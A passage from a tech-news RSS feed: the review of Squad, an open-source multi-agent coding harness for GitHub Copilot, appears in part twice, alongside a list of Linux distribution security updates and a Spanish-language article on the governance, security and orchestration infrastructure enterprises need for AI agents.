<p>Another interesting architectural decision was to ignore the convention of having agent-to-agent chats as a tool for synchronizing decisions. Experience inside Microsoft has shown this approach to be fragile. As a result, Squad treats agents as a set of asynchronous distributed computing tasks, using external persistent storage to hold details of architectural and other decisions. The shared storage, based on a strict format that can be accessed by different generations of the Squad agents, ensures that decisions can be passed between projects and that context is preserved between sessions.</p>



<p>Having a defined source of context also ensures that when any member of your team clones your application repository, their Squad agents have access to the same “memory” and can start working as soon as the Squad CLI is loaded or launched from <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> or <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. It’s an efficient approach that saves time and ensures that everyone on the project and using Squad has the same starting point.</p>



<h2 class="wp-block-heading">Getting started with Squad </h2>



<p>To <a href="https://bradygaster.github.io/squad/docs/get-started/five-minute-start/">get started with Squad</a>, you need to have an up-to-date <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> installation on your development machine, along with a Git repository to store code and the Markdown documents used by Squad to store its context. With those in place, <a href="https://bradygaster.github.io/squad/docs/get-started/installation/">a single call to npm installs the Squad CLI</a>, ready for use.</p>



<p>You set up the Squad environment with its <code>init</code> command. You can run Squad from its CLI or from inside Visual Studio Code and GitHub Copilot, where it’s available as an agent. You can also use Squad from the GitHub Copilot CLI, which gives you an interactive view of how the various Squad agents work.</p>



<p><a href="https://bradygaster.github.io/squad/docs/reference/cli/">Squad’s CLI works well for basic projects</a> but using Squad as part of Copilot also gives access to additional resources, including <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html" data-type="link" data-id="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">Model Context Protocol</a> (MCP) servers, which can help with more complex application developments as well as providing more useful grounding for specific Squad agents. However, there’s enough flexibility here to fit Squad into your existing toolchain, allowing you to make it part of your workflow, rather than vice versa.</p>



<p><a href="https://bradygaster.github.io/squad/docs/get-started/choosing-your-path/">There is a third way to use Squad</a>: working with the Squad SDK to build your own automation framework around the Squad tooling. Here you’ll use <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" data-type="link" data-id="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html">TypeScript</a> to manage agent creation, as well as writing your own routers and coordination services. The Squad SDK is a powerful tool that can be used as part of more formal development processes, for example integrating into a <a href="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2269266/what-is-cicd-continuous-integration-and-continuous-delivery-explained.html">CI/CD</a> pipeline to help triage a high volume of pull requests. As all three ways of working with Squad use the same back end, they all share the same memories, so will respond to inputs in similar ways.</p>



<h2 class="wp-block-heading">Using Squad to write and fix code</h2>



<p>I used Squad from the Copilot CLI, building a basic Node Express application, with a web front end. What was perhaps most interesting about the process was that the Squad harness allowed its role-based agents to work in parallel: an agent building back-end code to support service APIs could run at the same time as an agent that was building a React-based user interface. The initial squad of agents that Squad generated included an architect as well as front-end and back-end developers.</p>



<p>Squad’s output was, at least in my test applications, clear and easy to understand, ready to be used as the basis for a more complex application. It was delivered quickly, using a test-driven approach to ensure that code performed as intended, with no obvious bugs. By taking a formal approach to software development, Squad can reduce risks and explain its actions to a human user. It can also be used to document the code it delivers, using another specialized agent to deliver documentation.</p>



<p>There’s plenty of human supervision in the process, though there’s also the option of handing over control of repetitive tasks to Squad. After some time, you can build up enough trust that you don’t need to approve every new file or directory. A squad works in the context of your Git repository, but if you want more security you can choose to run your squad inside a dev container, keeping it in an isolated environment.</p>



<h2 class="wp-block-heading">Here comes the artificial junior developer</h2>



<p>We’re still at the very beginning of the process of using AI-based tooling as part of our development workflows, but the available tools are starting to mature very quickly — both as models improve and as we learn how to build the long workflows needed to implement agent-based applications.</p>



<p>Squad’s approach to development mixes well-understood software development methodologies with the team structure necessary to deliver applications. For now, as Squad is alpha code, it’s something to experiment with in limited, well-understood use cases.</p>



<p>But as our understanding of how to use AI-powered development tools grows, it’s easy to see how AI coding might evolve to become something like Squad — a way of harnessing agents to behave like a pocket development team that keeps a human in the loop as development lead to a team of artificial junior developers. And maybe we’ll be able to keep up with Claude Mythos and its descendants.</p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Thursday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (buildah, firefox, gdk-pixbuf2, giflib, grafana, java-1.8.0-openjdk, java-21-openjdk, LibRaw, OpenEXR, PackageKit, pcs, python3.11, python3.12, python3.9, sudo, tigervnc, vim, xorg-x11-server, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker...]]></description>
<link>https://tsecurity.de/de/3477721/linux-tipps/security-updates-for-thursday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3477721/linux-tipps/security-updates-for-thursday/</guid>
<pubDate>Thu, 30 Apr 2026 15:25:31 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (buildah, firefox, gdk-pixbuf2, giflib, grafana, java-1.8.0-openjdk, java-21-openjdk, LibRaw, OpenEXR, PackageKit, pcs, python3.11, python3.12, python3.9, sudo, tigervnc, vim, xorg-x11-server, xorg-x11-server-Xwayland, yggdrasil, and yggdrasil-worker-package-manager), <b>Debian</b> (calibre, firefox-esr, and openjdk-17), <b>Fedora</b> (asterisk, binaryen, buildah, dokuwiki, lemonldap-ng, libexif, libgcrypt, miniupnpd, openvpn, podman, python3.9, rust-rpm-sequoia, skopeo, and xdg-dbus-proxy), <b>Red Hat</b> (buildah, gdk-pixbuf2, and nodejs:20), <b>SUSE</b> (dnsdist, libheif, openCryptoki, polkit, sed, and xen), and <b>Ubuntu</b> (linux-bluefield, python-marshmallow, and roundcube).]]></content:encoded>
</item>
<item>
<title><![CDATA[Su agente de IA está listo para funcionar… ¿Lo está su infraestructura?]]></title>
<description><![CDATA[IDC estima que a finales del año pasado había más de 28 millones de agentes de IA desplegados, y predice que en 2029 habrá más de 1.000 millones activos, ejecutando 217.000 millones de acciones al día.



Es fácil crear una prueba de concepto (POC) de un agente de IA, afirma Venkat Achanta, direc...]]></description>
<link>https://tsecurity.de/de/3477042/it-nachrichten/su-agente-de-ia-est-listo-para-funcionar-lo-est-su-infraestructura/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3477042/it-nachrichten/su-agente-de-ia-est-listo-para-funcionar-lo-est-su-infraestructura/</guid>
<pubDate>Thu, 30 Apr 2026 11:46:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>IDC estima que a finales del año pasado había más de 28 millones de agentes de IA desplegados, y <a href="https://www.idc.com/resource-center/blog/agent-adoption-the-it-industrys-next-great-inflection-point" target="_blank">predice</a> que en 2029 habrá más de 1.000 millones activos, ejecutando 217.000 millones de acciones al día.</p>



<p>Es fácil crear una prueba de concepto (POC) de un agente de IA, afirma Venkat Achanta, director de tecnología, datos y análisis de TransUnion, una empresa global de informes crediticios con unos ingresos de 4.600 millones de dólares. Pero gestionarlo, protegerlo y escalarlo supone todo un reto, especialmente para empresas de sectores altamente regulados, como los servicios financieros y la sanidad. Para abordar el problema, TransUnion ha dedicado los últimos tres años a desarrollar su plataforma de IA agentiva, OneTru. El objetivo era crear algo tan fiable y determinista como los antiguos sistemas basados en scripts y diseñados por expertos, pero tan flexible como la IA general, y tan fácil de interactuar como un <em>chatbot</em>.</p>



<p>El truco, sin embargo, consistía en combinar lo mejor de ambos mundos utilizando sistemas tradicionales para los procesos centrales, donde la explicabilidad y la fiabilidad son clave, e incorporando la funcionalidad de la IA general de forma limitada para las tareas para las que resultaba especialmente adecuada. Y dado que no se disponía de la infraestructura necesaria para ello, TransUnion construyó la suya propia, destinando 145 millones de dólares al proyecto. Fue una gran inversión en una tecnología sin probar, pero ya ha supuesto un ahorro de 200 millones de dólares. Más aún, una vez construida la plataforma, TransUnion la utilizó para crear soluciones orientadas al cliente.</p>



<p>En marzo de este año, por ejemplo, TransUnion lanzó su AI Analytics Orchestrator Agent, creado con la plataforma OneTru y basado en los modelos Gemini de Google. TransUnion ya utiliza este agente internamente para mejorar los análisis, y los clientes también pueden utilizarlo para realizar sofisticados <a href="https://www.cio.com/article/4145131/the-ai-data-dilemma-every-cio-must-address.html?utm=hybrid_search" target="_blank">análisis de datos</a> sin necesidad de recurrir a científicos de datos.</p>



<p>Muchos clientes utilizan los datos de TransUnion, pero no utilizan otras soluciones ni plataformas, afirma Achanta. El nuevo agente de orquestación tiene el potencial de ayudar a los clientes a sacar más partido a los datos y de abrir nuevas fuentes de ingresos para la empresa. Y hay más agentes en desarrollo, afirma Achanta. La clave para que funcionen son las capas de orquestación, gobernanza y seguridad. Hacer que un agente haga algo es muy fácil para cualquiera, dice, y puede llevar solo unos días. La empresa también puede crear agentes rápidamente. “Pero yo tengo la base y las barreras de seguridad, y el agente que se encuentra en mi plataforma las utiliza todas. Eso es lo que nos da poder”, afirma.</p>



<p>El secreto para <a href="https://www.cio.com/article/4157474/6-ways-agentic-ai-will-reshape-the-enterprise-software-market.html?utm=hybrid_search" target="_blank">lograr que los agentes de IA se comporten</a> es separar las capas de la tarea y asignar cada capa a un sistema diferente, cada uno de los cuales opera bajo un conjunto de restricciones. Este enfoque limita el daño que puede causar cualquier agente en particular, crea un sistema de controles y contrapesos, y restringe las actividades más arriesgadas a una tecnología de IA de generación previa.</p>



<p>Por ejemplo, en TransUnion, la toma de decisiones principal la lleva a cabo una versión actualizada de un sistema experto. Funciona bajo un conjunto de reglas bien definidas y auditables, y opera de forma predecible, rentable y con baja latencia. Cuando se encuentra con una situación que no ha visto antes, se utiliza un LLM para analizar el problema; a continuación, un agente diferente podría convertirlo en una nueva regla, y luego se podría recurrir a un humano para revisar los resultados antes de que la nueva regla se añada al sistema experto. Hay diferentes agentes que comprenden la capa semántica, interactúan con los humanos y realizan otras tareas. “Con la capa de razonamiento neuronal —el LLM— incorporamos a los humanos al proceso. Cuando se trata de una capa de razonamiento simbólico, que se basa en la lógica y el aprendizaje automático, dejamos que se automatice”, explica.</p>



<p>Así, cuando cada agente opera dentro de restricciones muy estrictas, solo con los datos limitados que necesita para esa tarea concreta, y está limitado a lo que puede hacer, todo el sistema se vuelve mucho más manejable y fiable. Es como la diferencia entre una cadena de montaje, donde varios trabajadores realizan cada uno una tarea única y distinta, en lugar de un taller donde un solo artesano lo hace todo. La cadena de montaje puede trabajar más rápido y de forma más fiable, pero hoy en día muchas empresas implementan sus agentes de IA como si fueran artesanos. Este último enfoque puede dar lugar a productos creativos y únicos, pero no siempre es lo que una empresa necesita.</p>



<p>Nicholas Mattei, presidente del grupo de interés especial de la ACM sobre IA y profesor de la Universidad de Tulane, sugiere que las empresas se centren en incorporar seguridad adicional en los puntos donde se conectan las diferentes partes del sistema de agentes. “Hay que asegurarse de que hay seguridad en las uniones”, afirma. Por ejemplo, si un agente envía solicitudes a un servicio de correo electrónico, hay que configurar un punto de control entre ambos. “En los huecos entre los agentes poco fiables y donde reside el software tradicional es donde se tienen que ubicar los <a href="https://www.cio.com/article/4093971/cio-essential-insights-the-new-security-priorities.html?utm=hybrid_search">procesos de seguridad</a>”, relata.</p>



<h2 class="wp-block-heading">Crear una base de seguridad para la IA agentiva</h2>



<p>En una <a href="https://www.jitterbit.com/blog/the-state-of-agentic-ai-automation-1500-businesses-tell-all/" target="_blank" rel="nofollow">encuesta de Jitterbit</a> realizada a 1.500 líderes de TI publicada en marzo, la responsabilidad de la IA —seguridad, auditabilidad, trazabilidad y medidas de protección— es el factor más importante a la hora de tomar la decisión final de compra de IA, por delante de la velocidad de implementación, la reputación del proveedor e incluso el coste total de propiedad. Los riesgos de seguridad, gobernanza y privacidad de los datos también fueron las principales cuestiones que impedían que las iniciativas de IA pasaran a producción, por delante de los costes y los retos de integración. Y tienen razón en estar preocupados.</p>



<p>A principios de este año, investigadores de la empresa de ciberseguridad CodeWall lograron vulnerar la nueva plataforma de IA de McKinsey, Lilli. Utilizando una herramienta de IA propia, los investigadores afirmaron que pudieron acceder a 47 millones de mensajes de chat, 728.000 archivos, 384.000 asistentes de IA, 94.000 espacios de trabajo, 217.000 mensajes de agentes, casi 4 millones de fragmentos de documentos RAG y 95 indicaciones del sistema y configuraciones de modelos de IA. “Se trata de décadas de investigación, marcos y metodologías propios de McKinsey: las joyas de la corona intelectual de la empresa almacenadas en una base de datos a la que cualquiera podía acceder”, escribieron los investigadores.</p>



<p>¿El motivo? De los más de 200 puntos finales de API expuestos públicamente, 22 no requerían autenticación. Los investigadores tardaron solo dos horas en obtener acceso completo de lectura y escritura a toda la base de datos de producción de Lilli. McKinsey respondió rápidamente a la alerta, corrigió los puntos finales sin autenticación y tomó otras medidas de seguridad. “Nuestra investigación, respaldada por una empresa forense externa líder, no identificó ninguna prueba de que este investigador o cualquier otro tercero no autorizado hubiera accedido a datos o información confidencial de los clientes”, afirmó la empresa en un comunicado.</p>



<p><a href="https://www.idc.com/resource-center/blog/agentic-ai-is-critical-infrastructure/" target="_blank">IDC indica</a> que el incidente pone de relieve lo peligrosa que puede ser la violación de un sistema de IA para una empresa. “La mayoría de las empresas siguen pensando en los riesgos de la IA en términos del pasado: fuga de datos, resultados erróneos y daño a la reputación de la marca”, explica Alessandro Perilli, vicepresidente de investigación en IA de IDC. “Esos son problemas graves, pero el mayor riesgo reside en delegar autoridad a los sistemas de IA”.</p>



<p>Al obtener acceso a una plataforma de IA agentiva, un atacante no solo puede ver algo que no debería, sino también cambiar de forma encubierta la forma de actuar de la empresa. Y proteger sistemas de IA agentiva a escala empresarial como Lilli es solo la mitad del reto. <a href="https://www.gartner.com/en/newsroom/press-releases/2025-11-19-gartner-identifies-critical-genai-blind-spots-that-cios-must-urgently-address0" target="_blank" rel="nofollow">Según Gartner</a>, el 69% de las organizaciones sospecha que sus empleados utilizan herramientas de IA prohibidas, y el 40% sufrirá incidentes de seguridad o de cumplimiento normativo para 2030 como consecuencia de ello.</p>



<p>Pero las herramientas de detección disponibles no están del todo preparadas para encontrar agentes de IA, indican desde Gartner. “Si te preguntara cuántos agentes se ejecutan en tu empresa en este momento, ¿dónde irías a buscarlo?”, pregunta Swaminathan Chandrasekaran, director global de IA y laboratorios de datos en KPMG, que ahora cuenta con varios miles de agentes de IA en producción. “¿Se han incorporado todos y tienen identidades? ¿Han pasado por un proceso de autenticación adecuado y quién está a cargo de ellos? Esa infraestructura no existe”.</p>



<p>Sin embargo, las herramientas están empezando a surgir, o las empresas están creando soluciones “hazlo tú mismo”, cuenta. “Eso es lo que va a dar tranquilidad a los directores de sistemas de información”. Ya estamos viendo ejemplos públicos de empleados individuales que implementan una potente IA agentiva con consecuencias negativas. Summer Yue, directora de alineación de Meta, decidió recientemente utilizar OpenClaw, una herramienta viral de IA agentiva de código abierto, para ayudarla a gestionar su bandeja de entrada. Después de que funcionara en una bandeja de entrada de prueba, la implementó de verdad.</p>



<p>“Nada te hace sentir más humilde que decirle a tu OpenClaw que confirme antes de actuar y ver cómo borra tu bandeja de entrada a toda velocidad”, escribió en X. “No pude detenerlo desde mi teléfono. Tuve que correr hacia mi Mac mini como si estuviera desactivando una bomba”. En el pasado, un empleado podía subir información confidencial a un <em>chatbot </em>o pedirle que redactara un informe que luego copiaría y pegaría, haciéndolo pasar por suyo. A medida que estos <em>chatbots </em>evolucionan hacia sistemas agenticos completos, los agentes tienen ahora la capacidad de hacer cualquier cosa para la que el usuario tenga privilegios, incluido el acceso a los sistemas corporativos.</p>



<p>Para gestionar este nuevo riesgo de seguridad, las empresas tendrán que pasar de controles basados en roles e identidades a otros basados en la intención, afirma Rakesh Malhotra, director de tecnologías digitales y emergentes en EY. No basta con preguntar si un agente tiene permiso para acceder a un sistema y realizar un cambio en un registro, afirma. Las empresas deben poder preguntar por qué se está realizando ese cambio. Ese es un gran reto en este momento. “La tecnología de observabilidad no capta la intención de por qué el agente ha hecho algo”, afirma. “Y eso es realmente importante de entender. La confianza se basa en la intención, y no hay forma de que ninguno de estos sistemas capte la intención”.</p>



<p>Si un empleado humano intentara refactorizar toda la base de código, se le pediría que diera una buena razón para hacerlo. “Y si estás refactorizando sin ninguna razón específica, quizá no deberías hacerlo”, dice Malhotra. “Con las personas, hay formas de juzgar esto. No sé cómo hacerlo con los agentes”.</p>



<h2 class="wp-block-heading">Creación de una base de datos semántica para la IA agentiva</h2>



<p>Achanta, de TransUnion, menciona repetidamente la base semántica de la plataforma OneTru de la empresa. Esa comprensión de la información ayuda a los sistemas a entender no solo qué son los datos, sino qué significan y cómo se relacionan con otros datos. <a href="https://www.gartner.com/en/newsroom/press-releases/2026-03-11-gartner-announces-top-predictions-for-data-and-analytics-in-2026" target="_blank" rel="nofollow">Gartner afirma</a> que desarrollar una capa semántica es ahora imprescindible para las empresas que implementan IA. “Es la única forma de mejorar la precisión, gestionar los costes, reducir sustancialmente la deuda de IA, alinear los sistemas multiagente y detener las costosas inconsistencias antes de que se extiendan”, dice.</p>



<p>Para 2030, las capas semánticas universales se considerarán infraestructura crítica, junto con las plataformas de datos y la ciberseguridad, predice Gartner. Y los agentes necesitan contexto para poder hacer algo significativo con los datos, afirma Chandrasekaran, de KPMG. Ahí es donde reside el conocimiento de una empresa. “Esa es tu nueva propiedad intelectual para la empresa. El contexto es la nueva muralla defensiva”.</p>



<p>Para John Arsneault, director de sistemas de información de Goulston &amp; Storrs, crear una base de datos sólida es también una forma de evitar la dependencia de un proveedor. “Si compras productos y trasladas tus datos a ellos para automatizar flujos de trabajo o crear asistentes de trabajo para los agentes, te costará mucho salir de ahí. Pero si adoptas un enfoque centrado en los datos, al menos podrás pasar de uno a otro si se produce un cambio en el mercado”.</p>



<p>El bufete de abogados ha migrado sus productos de trabajo orientados al cliente a NetDocuments, un sistema de gestión de documentos enfocado específicamente al sector jurídico. Y el resto de los datos que recopila la empresa se almacenan en el ‘data lakehouse’ jurídico de Entegrata.</p>



<p>“Nuestro objetivo es que, con el tiempo, todas nuestras demás aplicaciones apunten a ese lago de datos. Entonces tendremos estos dos entornos donde residen todos los datos del bufete, lo que nos permitirá integrar cualquier herramienta de IA que utilicemos”, afirma.</p>



<p>También facilitará la gestión de los flujos de datos, añade, y permitirá al bufete adaptarse rápidamente a cualquier tecnología de IA que surja en el futuro. “Ya sea IA generativa, agéntica o de Anthropic, con el complemento legal de Cowork, es muy difícil mantenerse al día. Y cambia cada seis meses”.</p>



<h2 class="wp-block-heading">Orquestación de agentes</h2>



<p>La última pieza del rompecabezas de la infraestructura de agentes, tras establecer las medidas de seguridad y crear una capa de datos utilizable, es la orquestación. Los sistemas de IA de agentes requieren que los agentes se comuniquen entre sí y con los usuarios humanos, e interactúen con fuentes de datos y herramientas. Es un reto complicado, y esta tecnología se encuentra todavía en una fase muy incipiente, aunque avanza rápidamente. <a href="https://www.cio.com/article/3997968/mcp-is-enabling-agentic-ai-but-how-secure-is-it.html?utm=hybrid_search" target="_blank">MCP es un ejemplo de ello</a>, y es una pieza clave para resolver el rompecabezas de la orquestación. Los proveedores de IA se han mostrado muy dispuestos a cooperar en este ámbito.</p>



<p>“Cuando surgieron las redes sociales, y Facebook y Twitter debatían sobre un protocolo estándar para interactuar, nadie quería adoptar el protocolo de sus competidores”, afirma Agustín Huerta, vicepresidente sénior de innovación digital y vicepresidente de tecnología en Globant, una empresa de transformación digital. “Ahora todo el mundo está adoptando MCP y madurándolo como protocolo estándar”.</p>



<p>Pero eso no quiere decir que la integración de agentes se haya resuelto. Según una <a href="https://www.docker.com/blog/state-of-agentic-ai-key-findings/" target="_blank" rel="nofollow">encuesta de Docker</a> realizada a más de 800 responsables de la toma de decisiones de TI y desarrolladores, la complejidad operativa de orquestar múltiples componentes es el mayor desafío a la hora de crear agentes.</p>



<p>En concreto, el 37% de los encuestados afirma que los marcos de orquestación son demasiado frágiles o inmaduros para su uso en producción, y el 30% señala deficiencias en las pruebas y la visibilidad en orquestaciones complejas.</p>



<p>Además, aunque el 85% de los equipos están familiarizados con MCP, la mayoría afirma que existen importantes problemas de seguridad, configuración y gestionabilidad que impiden su implementación en producción. Y hay otros problemas de integración a los que las empresas deben hacer frente.</p>



<p>“Un problema aún por resolver es cómo conseguir un panel de control adecuado para gestionar todos estos agentes, para saber exactamente qué está pasando con cada uno de ellos”, afirma Huerta. “Hay un panel que permite supervisar los agentes creados con OpenAI y otro para los que residen en Salesforce, pero ninguno puede mostrar la telemetría en un panel centralizado para el control, la auditoría y el registro”.</p>



<p>Para las empresas que acaban de empezar a implementar agentes, o que se ciñen a una única plataforma, esto aún no supone un problema, añade, pero a medida que aprovechen una red más amplia de agentes, empezarán a experimentar estos retos. La propia Globant está creando su propio panel de control interno para la IA basada en agentes, por ejemplo.</p>



<p>Y en Brownstein Hyatt Farber Schreck, un bufete de abogados con 50 años de antigüedad, unos 700 empleados y clientes en todo Estados Unidos, hay varias áreas en las que se está implementando la IA, incluido un sistema generador de propuestas.</p>



<p>Normalmente, varias personas pueden tardar días en revisar la solicitud de propuesta de un cliente, examinar notas manuscritas o transcripciones de reuniones y recopilar otros materiales relevantes, afirma Andrew Johnson, director de sistemas de información del bufete. “Podemos introducir toda esa información en un ordenador y extraer los criterios clave para producir un primer borrador de calidad en cuestión de minutos”, afirma.</p>



<p>Se requieren múltiples agentes para las diferentes partes del proceso: uno para extraer los criterios de éxito o los requisitos de personal, otro para buscar precedentes y lecciones aprendidas, y otros para la fijación de precios y los estándares de marca. “Cada uno de esos agentes es autónomo y debe coordinarse para que los resultados de cada uno se incorporen al siguiente paso”, explica Johnson. En su mayor parte, eso significa un sistema RAG, ya que la mayoría de las plataformas heredadas que utiliza la empresa aún no han incorporado una capa MCP.</p>



<p>Dependiendo de la tarea, los agentes individuales pueden funcionar con diferentes modelos, lo que supone otra capa de coordinación que hay que gestionar. Luego está el control de costes. Si un agente de IA o un grupo de agentes entra en un bucle de retroalimentación infinito, los costes de inferencia pueden aumentar rápidamente. “Somos conscientes de la preocupación, aunque aún no la hemos visto materializarse”, afirma Johnson. “Por eso contamos con un sistema de supervisión. Si superamos los umbrales, reaccionamos”.</p>



<p>Independientemente de las estrategias o medidas para absorber los contratiempos, todo lo relacionado con la IA está cambiando más rápido que cualquier otra cosa que las empresas hayan visto. “Llevo 25 años en el sector tecnológico y nunca había visto nada igual”, señala Malhotra, de EY. “Las empresas de más rápido crecimiento de la historia se han creado todas en los últimos tres o cuatro años. El crecimiento en la adopción no tiene precedentes. Y hablo constantemente con clientes que están implementando tecnologías que eran muy relevantes hace nueve o diez meses, y todo el mundo ha pasado página”.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Harness teams of agentic coders with Squad]]></title>
<description><![CDATA[At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that...]]></description>
<link>https://tsecurity.de/de/3476975/ai-nachrichten/harness-teams-of-agentic-coders-with-squad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3476975/ai-nachrichten/harness-teams-of-agentic-coders-with-squad/</guid>
<pubDate>Thu, 30 Apr 2026 11:17:54 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>At Kubecon Europe recently, Linux kernel maintainer Greg Kroah-Hartman said something that surprised me. After more than a year of AI-based pull requests and security reports that were worthless, living up to their nickname of “slop,” suddenly in the last month or so Kroah-Hartman discovered that those reports had become useful. At the time he didn’t know why, but guessed it was the result of improved tools and a deeper understanding of how to use them.</p>



<p>Since then, of course, <a href="https://www.infoworld.com/article/4151806/leak-reveals-anthropics-mythos-a-powerful-ai-model-aimed-at-cybersecurity-use-cases-2.html?utm=hybrid_search">we’ve learned about Anthropic’s Claude Mythos</a> and seen the resulting scramble across closed-source and open-source projects to patch the significant bugs and issues Mythos has unveiled. The fixes and updates needed by large projects can be managed by their equally large teams, with corporate input as well as volunteers from around the world. But how do smaller projects deal with the rise in reported critical vulnerabilities, when they’re usually run by one or two people, often working in their spare time?</p>



<p>It’s a crisis of developer productivity. We need code that’s fixed and we need it now, but we don’t have enough skilled developers to deliver those fixes in the limited time available.</p>



<h2 class="wp-block-heading">Can agents solve the problem?</h2>



<p>Agent harnesses have become increasingly powerful tools, providing frameworks for orchestrating and managing teams of agents. General purpose tools like <a href="https://www.infoworld.com/article/4153975/understanding-the-risks-of-openclaw.html">OpenClaw</a> have proven to be particularly popular, though they can be expensive to run, with operations using up a substantial number of tokens across models and services. However, like most general purpose AI applications based on <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" data-type="link" data-id="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html">large language models</a> (LLMs), inaccuracies and hallucinations can affect outputs.</p>



<p>Even so, an approach like this that’s grounded both in a defined methodology and in a significant corpus of data could help us meet the sudden demand for increased developer productivity — using the structured nature of code and APIs as grounding and the combinations of skills that go into building a modern software development team and addressing the various aspects of the software development life cycle. </p>



<p>What’s needed is a way to take advantage of those tools to build on techniques like <a href="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html" data-type="link" data-id="https://www.infoworld.com/article/4062524/spec-driven-ai-coding-with-githubs-spec-kit.html">spec-driven development</a> and agent harnesses to provide developers with their own team of agents. Soon, agents may provide that force multiplier needed to keep ahead of AI red teams and at the same time help clear out large amount of technical debt.</p>



<h2 class="wp-block-heading">Here comes the Squad</h2>



<p>One interesting example of this approach is <a href="https://github.com/bradygaster/squad" data-type="link" data-id="https://github.com/bradygaster/squad">Squad</a>, an open-source project from <a href="https://www.linkedin.com/in/bradygaster/" data-type="link" data-id="https://www.linkedin.com/in/bradygaster/">Brady Gaster</a>, Principal PM Architect in the CoreAI Apps and Agents team at Microsoft. Squad builds an agent harness around GitHub Copilot, <a href="https://bradygaster.github.io/squad/">orchestrating a team of agents</a> to work on your code with you. Designed to be installed with a single CLI call, Squad creates agents to handle application development: a developer lead, a front-end developer, a back-end developer, and a test engineer. Other roles, like documentation, can also be managed by Squad.</p>



<p>The intent is to replicate the structure of a team building a web application, using natural language inputs to define the task, with the agent harness then coordinating Squad’s agents to build and test the necessary code. Gaster has made some interesting decisions as part of the tool’s architecture, such as requiring a separate agent to fix issues detected by another agent’s tests.</p>



<p>This approach is designed to prevent an agent from looping around the same set of statistically generated outputs. Instead, a new agent offers a new context window and a new set of seeds, allowing it to generate different solutions to the same inputs. Only then will Squad generate a pull request for human review. You the developer are still in the loop, but you’re the senior developer and architect to Squad’s team of junior engineers.</p>



<p>Another interesting architectural decision was to ignore the convention of having agent-to-agent chats as a tool for synchronizing decisions. Experience inside Microsoft has shown this approach to be fragile. As a result, Squad treats agents as a set of asynchronous distributed computing tasks, using external persistent storage to hold details of architectural and other decisions. The shared storage, based on a strict format that can be accessed by different generations of the Squad agents, ensures that decisions can be passed between projects and that context is preserved between sessions.</p>



<p>Having a defined source of context also ensures that when any member of your team clones your application repository, their Squad agents have access to the same “memory” and can start working as soon as the Squad CLI is loaded or launched from <a href="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html" data-type="link" data-id="https://www.infoworld.com/article/2335960/what-is-visual-studio-code-microsofts-extensible-code-editor.html">Visual Studio Code</a> or <a href="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html" data-type="link" data-id="https://www.infoworld.com/article/3609013/github-copilot-everything-you-need-to-know.html">GitHub Copilot</a>. It’s an efficient approach that saves time and ensures that everyone on the project and using Squad has the same starting point.</p>



<h2 class="wp-block-heading">Getting started with Squad </h2>



<p>To <a href="https://bradygaster.github.io/squad/docs/get-started/five-minute-start/">get started with Squad</a>, you need to have an up-to-date <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node.js</a> installation on your development machine, along with a Git repository to store code and the Markdown documents used by Squad to store its context. With those in place, <a href="https://bradygaster.github.io/squad/docs/get-started/installation/">a single call to npm installs the Squad CLI</a>, ready for use.</p>



<p>You set up the Squad environment with its <code>init</code> command. You can run Squad from its CLI or from inside Visual Studio Code and GitHub Copilot, where it’s available as an agent. You can also use Squad from the GitHub Copilot CLI, which gives you an interactive view of how the various Squad agents work.</p>



